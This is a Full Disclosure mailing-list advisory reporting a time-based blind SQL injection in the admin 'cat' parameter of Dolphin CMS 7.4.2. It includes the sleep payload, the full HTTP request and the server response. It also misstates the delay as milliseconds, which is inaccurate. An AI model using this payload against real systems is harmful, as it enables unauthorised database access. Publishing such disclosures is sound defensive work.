| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Message-ID: <CAF2Wu1ZxWspgwi9Xh5X2J+_xkCCPtuA+TH3ENDvUxNP289T_2w@mail.gmail.com> Date: Fri, 21 Mar 2025 18:02:34 +0000 From: Andrey Stoykov <mwebsec@...il.com> To: fulldisclosure@...lists.org Subject: [FD] SQL Injection in Admin Functionality - dolphin.prov7.4.2 # Exploit Title: SQL Injection in Admin Functionality - dolphin.prov7.4.2 # Date: 03/2025 # Exploit Author: Andrey Stoykov # Version: 7.4.2 # Date: 03/2025 # Tested on: Debian 12 # Blog: https://msecureltd.blogspot.com/2025/03/friday-fun-pentest-series-21-sql.html SQL Injection in Admin Functionality: Steps to Reproduce: 1. Login as admin user and visit the page of " http://192.168.58.170/dolphinCMS/administration/index.php?cat=" 2. Add the MySQL injection SLEEP payload to the "cat" value 3. Notice that the backend would delay the HTTP response for 14 miliseconds %27%20and%20(select*from(select(sleep(14)))a)--%20 // HTTP GET Request GET /dolphinCMS/administration/index.php?cat=%27%20and%20(select*from(select(sleep(14)))a)--%20 HTTP/1.1 Host: 192.168.58.170 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0 [...] // HTTP Response HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 22:55:46 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Content-Length: 55510 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Powered by blists - more mailing lists